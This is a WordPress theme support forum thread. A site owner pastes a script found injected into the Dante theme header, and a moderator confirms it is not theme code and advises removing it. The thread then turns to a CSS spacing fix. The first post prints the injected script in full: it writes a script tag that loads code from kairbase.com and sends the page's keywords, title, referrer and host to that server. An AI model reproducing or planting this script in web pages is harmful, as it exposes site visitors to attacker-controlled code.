Viewing 6 posts - 1 through 6 (of 6 total)
  • Posted in: Dante
  • #255937
    halfcj
    Member
    Post count: 61

    My client site above is having problems loading and it seems because of a script running in the theme headers from http://kairbase.com:

    <script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://kairbase.com/js/jquery.min.php?c_utt=G91825&c_utm='+encodeURIComponent('http://kairbase.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>

    Is this legitimate coding need by the theme?, or has the theme been hacked?

    Can you shed any light on this?

    Attachments:
    You must be logged in to view attached files.
    #255957
    Mohammad – SUPPORT
    Moderator
    Post count: 27441

    Hi,
    This is not theme script. You should remove that script.
    Thanks
    Mohammad

    #256897
    halfcj
    Member
    Post count: 61

    I have removed the script.

    Also I then updated the theme and WordPress, and now throughout the site I have a white space at the foot of the page above the promo bar. please see attached image. Can you see what is now causing this as I have gone through everything on the page and all element space is set to zero.

    Attachments:
    You must be logged in to view attached files.
    #256960
    Mohammad – SUPPORT
    Moderator
    Post count: 27441

    Hi,
    Please go to Admin > Edit Page > Remove the bottom spacing that is under Page Meta.
    Thanks
    Mohammad

    #256984
    halfcj
    Member
    Post count: 61

    As I said. All space is already set to zero and all tick boxes on page meta ticked.)remove space top and bottom. Always has been. Only since updating theme and WP has this occurred.

    #256999
    Mohammad – SUPPORT
    Moderator
    Post count: 27441

    Hi,
    Please use this custom css code:-

    .inner-page-wrap.no-bottom-spacing {
        margin-bottom: -22px !important;
    }

    Thanks
    Mohammad

Viewing 6 posts - 1 through 6 (of 6 total)

You must be logged in and have valid license to reply to this topic.

License required for one of the following items
Login and Registration Log in · Register